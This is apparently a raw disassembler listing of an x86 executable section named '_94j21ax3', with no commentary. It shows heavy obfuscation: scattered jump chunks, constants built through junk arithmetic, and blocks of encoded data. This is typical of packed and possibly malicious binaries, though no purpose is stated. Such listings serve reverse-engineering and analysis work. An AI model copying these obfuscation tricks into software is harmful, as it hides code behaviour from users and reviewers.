loc_425248: ; CODE XREF: _94j21ax3:0042B3BAj
mov eax, offset dword_426F48
call sub_428AE1
lea eax, [ebp-14h]
push eax
jmp loc_423CAF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_68. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422048
loc_42525C: ; CODE XREF: sub_422048+7E8Ej
jmp nullsub_90
; END OF FUNCTION CHUNK FOR sub_422048
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C057
loc_425261: ; CODE XREF: sub_42C057-3E73j
jmp loc_4226C6
; END OF FUNCTION CHUNK FOR sub_42C057
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_76. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421480
loc_425267: ; CODE XREF: sub_421480+2AADj
; sub_423FCD:loc_42BB70j
jmp loc_421ADC
; END OF FUNCTION CHUNK FOR sub_421480
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428BBD
loc_42526C: ; CODE XREF: sub_428BBD-7523j
; sub_4220B7:loc_429CE1j
push edi
push 83956DC0h
pop edi
xor edi, 67CC5FCAh
cmp edi, 26595812h
jmp loc_42BDB8
; END OF FUNCTION CHUNK FOR sub_428BBD
; ---------------------------------------------------------------------------
loc_425284: ; CODE XREF: _94j21ax3:004291EFj
not ebp
adc ebx, 0EC299605h
xchg ebp, [ebx]
loc_42528E: ; CODE XREF: _94j21ax3:loc_4291DCj
add edx, 0F242B647h
call sub_4239A5
call sub_421B3A
; START OF FUNCTION CHUNK FOR sub_4294B3
loc_42529E: ; CODE XREF: sub_4294B3-2BCDj
jnz loc_42214D
jmp loc_42682A
; END OF FUNCTION CHUNK FOR sub_4294B3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42454E
loc_4252A9: ; CODE XREF: sub_42454E-12Bj
mov ebp, edx
mov [esi], edi
cdq
not ebx
jmp loc_42B752
; END OF FUNCTION CHUNK FOR sub_42454E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427849
loc_4252B5: ; CODE XREF: sub_427849-403Fj
; sub_427849+1Aj
inc dword ptr [ebp-4]
jmp loc_42784F
; END OF FUNCTION CHUNK FOR sub_427849
; =============== S U B R O U T I N E =======================================
sub_4252BD proc near ; CODE XREF: sub_42484C+7BFBp
arg_8 = dword ptr 0Ch
call sub_42291D
push ecx
mov ecx, [esp+4+arg_8]
mov dword ptr [ecx], 10001h
lea eax, loc_42290B
push offset sub_42703A
jmp nullsub_31
sub_4252BD endp
; =============== S U B R O U T I N E =======================================
sub_4252DD proc near ; DATA XREF: sub_42ABCE:loc_4270CFo
mov eax, [ebp-20h]
movzx eax, byte ptr [eax]
mov [ebp-1Ch], eax
inc dword ptr [ebp-20h]
mov eax, [ebp-1Ch]
push offset loc_424653
jmp loc_42334E
sub_4252DD endp
; =============== S U B R O U T I N E =======================================
sub_4252F6 proc near ; CODE XREF: _94j21ax3:004254A3j
; _94j21ax3:004266AAp
xchg edi, [esp+0]
pop edi
mov [ebx], eax
pop ebx
retn
sub_4252F6 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_4252FE: ; CODE XREF: _94j21ax3:00429876j
xchg edi, [ebp+0]
; =============== S U B R O U T I N E =======================================
sub_425301 proc near ; CODE XREF: _94j21ax3:0042C2C3p
; FUNCTION CHUNK AT 0042B228 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042BEA2 SIZE 0000000A BYTES
xchg edx, [esp+0]
pop edx
pop esi
mov eax, [ebp-0Ch]
mov ecx, 3FDh
jmp loc_42B228
sub_425301 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428381
loc_425313: ; CODE XREF: sub_428381+3AF0j
jz loc_423E83
jmp loc_4256F0
; END OF FUNCTION CHUNK FOR sub_428381
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_42. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
loc_42531F: ; CODE XREF: _94j21ax3:0042919Fj
jmp locret_421DF2
; =============== S U B R O U T I N E =======================================
sub_425324 proc near ; CODE XREF: sub_426562p
var_8 = dword ptr -8
; FUNCTION CHUNK AT 00421DBD SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004230D0 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00426475 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427C5F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428981 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00428CAA SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042A630 SIZE 00000007 BYTES
push ebx
push ecx
call sub_425983
loc_42532B: ; CODE XREF: sub_42265F-4EFj
jmp loc_428981
sub_425324 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425330 proc near ; DATA XREF: sub_424DB4+1o
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 00422283 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042229F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425223 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426E2E SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00429859 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0042A024 SIZE 00000012 BYTES
mov ebp, esp
add esp, 0FFFFFFF8h
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
loc_425341: ; CODE XREF: _94j21ax3:loc_4227C5j
jmp loc_422283
sub_425330 endp
; ---------------------------------------------------------------------------
loc_425346: ; CODE XREF: _94j21ax3:00425960j
add edx, 0E5A39772h
; START OF FUNCTION CHUNK FOR sub_4259BF
loc_42534C: ; CODE XREF: sub_4259BF:loc_425943j
and ecx, 35EA66Fh
xor ecx, 0A766A0ECh
add ebx, ecx
jmp loc_42468D
; END OF FUNCTION CHUNK FOR sub_4259BF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42169F
loc_42535F: ; CODE XREF: sub_42169F+2776j
jnz loc_427DAF
jmp loc_424A42
; END OF FUNCTION CHUNK FOR sub_42169F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42AE5A
loc_42536A: ; CODE XREF: sub_42AE5A-9CF3j
pop ebp
push esi
pushf
push 0D8ADF57Fh
pop esi
jmp loc_429478
; END OF FUNCTION CHUNK FOR sub_42AE5A
; ---------------------------------------------------------------------------
push eax
call dword ptr [ebp-4]
test eax, eax
jz loc_426C46
jmp loc_4236EE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4272B2
loc_425389: ; CODE XREF: sub_4272B2+6j
mov eax, esi
push offset sub_42430C
jmp nullsub_85
; END OF FUNCTION CHUNK FOR sub_4272B2
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_425395 proc near ; CODE XREF: sub_426B65:loc_429D42j
retn
sub_425395 endp
; ---------------------------------------------------------------------------
jge loc_421DED
jmp sub_426602
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424EE4
loc_4253A1: ; CODE XREF: sub_424EE4:loc_4287AAj
pushf
push 0D51DCAFAh
pop eax
add eax, 364C68BDh
sub eax, 87AC45E3h
xor eax, 5ADF35F7h
popf
jnz loc_42A69B
jmp loc_422E99
; END OF FUNCTION CHUNK FOR sub_424EE4
; ---------------------------------------------------------------------------
loc_4253C6: ; CODE XREF: _94j21ax3:loc_42B088j
add eax, ebp
add eax, 0D62C5CF7h
mov eax, [eax]
neg eax
call sub_424FE0
loc_4253D7: ; DATA XREF: sub_42922A-AF5o
push 0D2315AC2h
pop ecx
and ecx, 2706055Eh
sub ecx, 9FE4E114h
add ecx, 9E2715B0h
xchg ecx, [esp]
jmp sub_42BA8A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429A83
loc_4253F7: ; CODE XREF: sub_429A83:loc_42206Bj
pushf
jmp loc_423038
; END OF FUNCTION CHUNK FOR sub_429A83
; ---------------------------------------------------------------------------
and ebx, 2C00FFF6h
test edx, edi
jmp loc_42861A
; =============== S U B R O U T I N E =======================================
sub_42540A proc near ; CODE XREF: sub_423A56+29A1p
xchg edx, [esp+0]
mov edx, [esp+0]
call sub_426CF4
sub_42540A endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_42A7FC
loc_425415: ; CODE XREF: sub_42A7FC:loc_4287D8j
xchg ecx, [esp+0]
call sub_423F43
retn
; END OF FUNCTION CHUNK FOR sub_42A7FC
; =============== S U B R O U T I N E =======================================
sub_42541E proc near ; CODE XREF: sub_42191F:loc_427DBFp
; sub_42BDD7+8p
; FUNCTION CHUNK AT 0042BED7 SIZE 00000005 BYTES
js sub_42C3BD
jmp loc_42BED7
sub_42541E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4294B3
loc_425429: ; CODE XREF: sub_4294B3:loc_422BB4j
jz loc_42388F
jmp loc_424263
; END OF FUNCTION CHUNK FOR sub_4294B3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423DB5
loc_425434: ; CODE XREF: sub_423DB5:loc_423F7Aj
add eax, ebp
push edi
push 5456C2C9h
pop edi
add edi, 0B05DCBB9h
jmp loc_427F00
; END OF FUNCTION CHUNK FOR sub_423DB5
; =============== S U B R O U T I N E =======================================
sub_425448 proc near ; CODE XREF: _94j21ax3:0042230Dj
; _94j21ax3:00425B68p
xchg edi, [esp+0]
pop edi
add eax, 9857E540h
mov eax, [eax]
call nullsub_182
retn
sub_425448 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A81A
loc_42545A: ; CODE XREF: sub_42A81A+11j
jmp loc_42514F
; END OF FUNCTION CHUNK FOR sub_42A81A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_182. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42BC39
loc_425460: ; CODE XREF: sub_42BC39+8j
jg loc_42AA44
jmp loc_4233FB
; END OF FUNCTION CHUNK FOR sub_42BC39
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422EB0
loc_42546B: ; CODE XREF: sub_422EB0:loc_428E4Ej
mov edx, 6DD450Eh
jmp loc_42B9B5
; END OF FUNCTION CHUNK FOR sub_422EB0
; =============== S U B R O U T I N E =======================================
sub_425475 proc near ; CODE XREF: _94j21ax3:004227C0j
; _94j21ax3:004246CFp
mov [esp+0], esi
pop esi
call sub_42265F
sub_425475 endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_428BBD
loc_42547E: ; CODE XREF: sub_428BBD:loc_428298j
mov eax, [ebp-80Ch]
push eax
push ebx
push 116E669Bh
pop ebx
jmp loc_427DE7
; END OF FUNCTION CHUNK FOR sub_428BBD
; ---------------------------------------------------------------------------
sub ebx, 22DDDC18h
jmp sub_429251
; ---------------------------------------------------------------------------
mov esi, 0C8E3AE14h
sub ecx, ebx
jmp sub_4252F6
; ---------------------------------------------------------------------------
loc_4254A8: ; CODE XREF: _94j21ax3:loc_4223B6j
jl loc_4274B1
; =============== S U B R O U T I N E =======================================
sub_4254AE proc near ; CODE XREF: sub_422707p
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00426401 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004290D0 SIZE 00000005 BYTES
xchg edi, [esp+0]
pop edi
xchg ecx, [esp-4+arg_0]
mov ecx, [esp-4+arg_0]
mov esp, ebp
jmp loc_4290D0
sub_4254AE endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422E43
loc_4254BF: ; CODE XREF: sub_422E43+1j
pop edx
pop ebp
jmp loc_426485
; END OF FUNCTION CHUNK FOR sub_422E43
; [00000005 BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND]
db 5Bh
dd 32D68841h, 7E816E07h, 90BC2896h, 0F156B2A8h, 68A94D4h
dd 47078846h, 775DB01h, 0EE831E8Bh, 72DB11FCh, 3B01B8EDh
dd 0DB01D1DDh, 1E8B0775h, 11FCEE83h, 1C011DBh, 75EF77DBh
dd 831E8B09h, 9EE9FCEEh, 0C1000002h, 5AE906CEh, 57FFFFEFh
dd 0FFD070E9h
db 0FFh
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_177. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C0BC
loc_425522: ; CODE XREF: sub_42C0BC+Ej
jmp loc_4217F3
; END OF FUNCTION CHUNK FOR sub_42C0BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4281A5
loc_425527: ; CODE XREF: sub_4281A5-6CF0j
jmp loc_4269E5
; END OF FUNCTION CHUNK FOR sub_4281A5
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_72. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_42552D proc near ; CODE XREF: _94j21ax3:00427B6Bj
; _94j21ax3:00427B8Cp
; FUNCTION CHUNK AT 0042B29F SIZE 00000005 BYTES
xchg edx, [esp+0]
pop edx
mov [ebp-20h], eax
jmp loc_42B29F
sub_42552D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_425539 proc near ; CODE XREF: sub_42BDF4+7p
; FUNCTION CHUNK AT 0042135D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042378F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004290EA SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042A7CA SIZE 00000020 BYTES
push ebp
jmp loc_42135D
sub_425539 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_19. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B856
loc_425540: ; CODE XREF: sub_42B856:loc_424950j
pushf
jnb loc_422D97
jmp loc_42ACD9
; END OF FUNCTION CHUNK FOR sub_42B856
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427344
loc_42554C: ; CODE XREF: sub_427344:loc_425BC8j
call sub_425868
loc_425551: ; CODE XREF: sub_429BC2+9j
jmp sub_421656
; END OF FUNCTION CHUNK FOR sub_427344
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_425556: ; CODE XREF: sub_423324:loc_423369j
push 0B7A2CD03h
pop edx
push offset loc_42B184
jmp loc_424A02
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
loc_425566: ; CODE XREF: _94j21ax3:loc_4210D7j
; _94j21ax3:004210EAj ...
add esi, 0C03FFAC6h
xchg esi, [esp]
push 2
lea eax, [ebp-400h]
push eax
jmp loc_4288AA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_42557D: ; CODE XREF: sub_42284F+677j
ja nullsub_88
jmp loc_4296DC
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4268C1
loc_425588: ; CODE XREF: sub_4268C1+16j
push offset sub_429848
jmp loc_426D0B
; END OF FUNCTION CHUNK FOR sub_4268C1
; ---------------------------------------------------------------------------
shr edx, 19h
jmp sub_4292D7
; =============== S U B R O U T I N E =======================================
sub_42559A proc near ; CODE XREF: sub_42AC17+Cp
; _94j21ax3:0042BAEDj
arg_10 = dword ptr 14h
; FUNCTION CHUNK AT 00423683 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423E20 SIZE 00000004 BYTES
xchg edi, [esp+0]
pop edi
mov ecx, [esp+10h]
mov dword ptr [ecx], 10001h
lea eax, loc_423AB6
mov [ecx+0B8h], eax
jmp loc_423683
sub_42559A endp ; sp-analysis failed
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_63. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422AD5
loc_4255BA: ; CODE XREF: sub_422AD5+Ej
jmp loc_426591
; END OF FUNCTION CHUNK FOR sub_422AD5
; =============== S U B R O U T I N E =======================================
sub_4255BF proc near ; CODE XREF: sub_42284F+2EC9p
; _94j21ax3:00428D9Bj
arg_0 = dword ptr 4
xchg ecx, [esp+0]
pop ecx
add edx, 88868689h
xchg edx, [esp-4+arg_0]
jmp sub_425A09
sub_4255BF endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4272E9
loc_4255D1: ; CODE XREF: sub_4272E9+23BCj
jnz loc_429762
jmp loc_4265EF
; END OF FUNCTION CHUNK FOR sub_4272E9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421D33
loc_4255DC: ; CODE XREF: sub_421D33:loc_428D7Bj
; sub_421D33+7057j
xor eax, 245F375Dh
add eax, ebp
add eax, 0AD5E15DEh
mov dword ptr [eax], 594C4C4Fh
jmp loc_42344C
; END OF FUNCTION CHUNK FOR sub_421D33
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_35. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422EB0
loc_4255F6: ; CODE XREF: sub_422EB0+6B0Bj
jmp loc_4212BA
; END OF FUNCTION CHUNK FOR sub_422EB0
; ---------------------------------------------------------------------------
loc_4255FB: ; CODE XREF: _94j21ax3:004242F4j
jmp loc_42C0AC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421644
loc_425600: ; CODE XREF: sub_421644+2C2j
jmp nullsub_34
; END OF FUNCTION CHUNK FOR sub_421644
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_75. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
loc_425606: ; CODE XREF: _94j21ax3:00424981j
jmp loc_426B19
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C0BC
loc_42560B: ; CODE XREF: sub_42C0BC-9FDCj
jmp loc_421F9D
; END OF FUNCTION CHUNK FOR sub_42C0BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422EB0
loc_425610: ; CODE XREF: sub_422EB0-1AB3j
jge sub_428620
jbe loc_426CE8
mov edi, [ebp+0]
sbb edx, 6C21A313h
jmp loc_4269FD
; END OF FUNCTION CHUNK FOR sub_422EB0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42270C
loc_42562A: ; CODE XREF: sub_42270C+Ej
jz loc_423148
jmp loc_428217
; END OF FUNCTION CHUNK FOR sub_42270C
; ---------------------------------------------------------------------------
loc_425635: ; CODE XREF: _94j21ax3:004242E0j
mov ebp, esp
push edx
push offset sub_427F1C
jmp locret_42BD89
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_425642: ; CODE XREF: sub_423324:loc_427737j
rol ecx, 1Ch
cmp ecx, esi
jmp loc_4223C3
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
mov eax, 8FDFF1E4h
jmp sub_421126
; ---------------------------------------------------------------------------
loc_425656: ; DATA XREF: sub_422EB0+1148o
add eax, ebp
add eax, 15971ED6h
mov eax, [eax]
mov dword ptr [ebp+eax*4-70h], 73257325h
inc dword ptr [ebp-8]
cmp dword ptr [ebp-8], 19h
jmp loc_42A263
; ---------------------------------------------------------------------------
shl ebx, 0Ah
jmp sub_42166E
; ---------------------------------------------------------------------------
loc_42567C: ; DATA XREF: sub_425819-34FDo
cmp ebx, 0D96A5251h
sub eax, 95B6D5DDh
cmp ebx, eax
xor eax, 0CE9EBCA3h
pop ecx
jmp loc_4267E1
; ---------------------------------------------------------------------------
dw 5F0h
dd 0B94EFA97h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A440
loc_42569C: ; CODE XREF: _94j21ax3:loc_424AC6j
; sub_42A440+Fj
jmp loc_42B25D
; END OF FUNCTION CHUNK FOR sub_42A440
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_4256A1: ; CODE XREF: sub_42284F+487Bj
jmp loc_421221
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
dw 31F4h
byte_4256A8 db 0CCh ; DATA XREF: sub_427ABD:loc_427AC3o
db 0A4h, 0DCh, 0BCh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4294B3
loc_4256AC: ; CODE XREF: sub_4294B3+BCj
jmp loc_422517
; END OF FUNCTION CHUNK FOR sub_4294B3
; ---------------------------------------------------------------------------
db 0D9h, 0B8h, 13h
db 0CCh ; DATA XREF: sub_4272E9+5071o
db 0A4h, 0DCh, 0BCh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426B3C
loc_4256B8: ; CODE XREF: sub_426B3C+5j
jmp nullsub_39
; END OF FUNCTION CHUNK FOR sub_426B3C
; ---------------------------------------------------------------------------
db 0FFh, 5Eh, 22h
dword_4256C0 dd 9C77DD6h ; DATA XREF: sub_426602+4w
; sub_422FBC+5E23r
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4294B3
loc_4256C4: ; CODE XREF: sub_4294B3+1Aj
jmp loc_4296B1
; END OF FUNCTION CHUNK FOR sub_4294B3
; ---------------------------------------------------------------------------
retn 5F96h
; ---------------------------------------------------------------------------
dword_4256CC dd 77DD0000h ; DATA XREF: sub_422538+6r
; sub_427004+3r ...
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423614
loc_4256D0: ; CODE XREF: sub_423614+8F01j
jmp loc_42AE88
; END OF FUNCTION CHUNK FOR sub_423614
; ---------------------------------------------------------------------------
lahf
xchg eax, ebp
loc_4256D7: ; DATA XREF: sub_429382:loc_423D9Do
; sub_427004+13o
and dl, [esi]
xor bl, cl
retn 4B0Eh
; ---------------------------------------------------------------------------
dw 2366h
dd 0C6C68CC5h
db 0
; ---------------------------------------------------------------------------
loc_4256E5: ; CODE XREF: _94j21ax3:00421521j
jmp locret_424DD0
; ---------------------------------------------------------------------------
dw 0BE00h
dd 0E3BEF3D6h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428381
loc_4256F0: ; CODE XREF: sub_428381-3068j
jmp loc_42A249
; END OF FUNCTION CHUNK FOR sub_428381
; ---------------------------------------------------------------------------
loc_4256F5: ; CODE XREF: _94j21ax3:00428E8Bj
rol ebx, 4
; START OF FUNCTION CHUNK FOR sub_428F65
loc_4256F8: ; CODE XREF: sub_428F65:loc_428E78j
call sub_421ABD
loc_4256FD: ; CODE XREF: _94j21ax3:00424CD7j
jmp loc_421210
; END OF FUNCTION CHUNK FOR sub_428F65
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_425702: ; CODE XREF: sub_42284F+Aj
add [esi], eax
call sub_424CF2
loc_425709: ; DATA XREF: sub_42983E-A0Ao
add esp, 4
mov eax, 51h
push edx
push 77BC1D75h
pop edx
call sub_4255BF
loc_42571D: ; DATA XREF: sub_4213A8:loc_424A64o
js loc_4245EB
push ecx
mov [esp+0], eax
push 21F9891Eh
pop eax
rol eax, 0Eh
test eax, 10000000h
jmp loc_4227A2
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421047
loc_42573B: ; CODE XREF: sub_421047:loc_42202Fj
inc dword ptr [ebp-0Ch]
jmp loc_427E88
; END OF FUNCTION CHUNK FOR sub_421047
; ---------------------------------------------------------------------------
loc_425743: ; CODE XREF: _94j21ax3:00427E78j
; _94j21ax3:loc_42BD74j
inc dword ptr [ebp-8]
inc dword ptr [ebp-0Ch]
jmp loc_427979
; =============== S U B R O U T I N E =======================================
sub_42574E proc near ; CODE XREF: sub_421013+4p
; sub_42BB39:loc_421058p ...
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00427BCC SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0042BAA7 SIZE 00000005 BYTES
call sub_42BB39
loc_425753: ; CODE XREF: sub_428A7E+6j
jmp loc_427BCC
sub_42574E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_425758 proc near ; DATA XREF: _94j21ax3:0042393Co
arg_0 = dword ptr 4
pop eax
mov ebx, offset sub_4279A0
xchg ebx, [esp-4+arg_0]
retn
sub_425758 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42BDF4
loc_425762: ; CODE XREF: sub_42BDF4+Cj
push offset loc_427B8B
jmp loc_424F82
; END OF FUNCTION CHUNK FOR sub_42BDF4
; ---------------------------------------------------------------------------
loc_42576C: ; CODE XREF: _94j21ax3:loc_427AB8j
mov byte ptr [ebp-802h], 0
mov byte ptr [ebp-801h], 1
push offset sub_424D8C
jmp locret_42BD2A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_425784: ; CODE XREF: sub_42284F+835Dj
jz loc_42A566
jmp loc_42BAB7
; END OF FUNCTION CHUNK FOR sub_42284F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_170. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_425790 proc near ; CODE XREF: _94j21ax3:00424213j
; sub_42A51B+1p
; FUNCTION CHUNK AT 004215B3 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004225F9 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00422C60 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00422C6C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423E82 SIZE 00000001 BYTES
; FUNCTION CHUNK AT 0042406C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427FE3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00429C39 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042C006 SIZE 00000025 BYTES
xchg edx, [esp+0]
pop edx
push 0B1300306h
pop eax
xor eax, 0D66FDC43h
add eax, 98E26123h
jmp loc_4215B3
sub_425790 endp ; sp-analysis failed
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_123. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421689
loc_4257AC: ; CODE XREF: sub_421689+FC5j
jmp loc_4232EA
; END OF FUNCTION CHUNK FOR sub_421689
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421402
loc_4257B2: ; CODE XREF: sub_421402+12E2j
jmp loc_421216
; END OF FUNCTION CHUNK FOR sub_421402
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_4257B7: ; CODE XREF: sub_423324-19DEj
jmp loc_4220E5
; END OF FUNCTION CHUNK FOR sub_423324
; =============== S U B R O U T I N E =======================================
sub_4257BC proc near ; CODE XREF: _94j21ax3:00428637j
; sub_4258EB+5982p
; FUNCTION CHUNK AT 00423A2E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428593 SIZE 0000000A BYTES
mov [esp+0], esi
pop esi
add edx, ebp
add edx, 1CD3FD1h
mov [edx], eax
pop edx
jmp loc_423A2E
sub_4257BC endp ; sp-analysis failed
; ---------------------------------------------------------------------------
add esi, 3132CF92h
jmp sub_422764
; ---------------------------------------------------------------------------
popf
jmp sub_423505
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_56. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
loc_4257E2: ; CODE XREF: _94j21ax3:loc_428B2Ej
jz loc_427AD4
jmp loc_427711
; ---------------------------------------------------------------------------
locret_4257ED: ; CODE XREF: _94j21ax3:0042BBF4j
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42922A
loc_4257EE: ; CODE XREF: sub_42922A-AF0j
jmp nullsub_67
; END OF FUNCTION CHUNK FOR sub_42922A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42283B
loc_4257F3: ; CODE XREF: sub_42283B:loc_42284Aj
pop eax
xor eax, 0A81E13D1h
add eax, 4C62A163h
xchg eax, [esp+8+var_8]
jmp sub_428A7E
; END OF FUNCTION CHUNK FOR sub_42283B
; =============== S U B R O U T I N E =======================================
sub_425808 proc near ; CODE XREF: _94j21ax3:00428024j
; sub_42A72D+9p
; FUNCTION CHUNK AT 00421D20 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00422C71 SIZE 00000016 BYTES
xchg eax, [esp+0]
pop eax
mov eax, [ebp-8]
mov al, [eax]
add [ebp-0Ah], al
jmp loc_422C71
sub_425808 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_425819 proc near ; DATA XREF: _94j21ax3:00427134o
var_8 = dword ptr -8
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00422312 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042405C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424575 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00425053 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425A5A SIZE 0000001D BYTES
; FUNCTION CHUNK AT 004267E9 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00426C14 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00427095 SIZE 00000005 BYTES
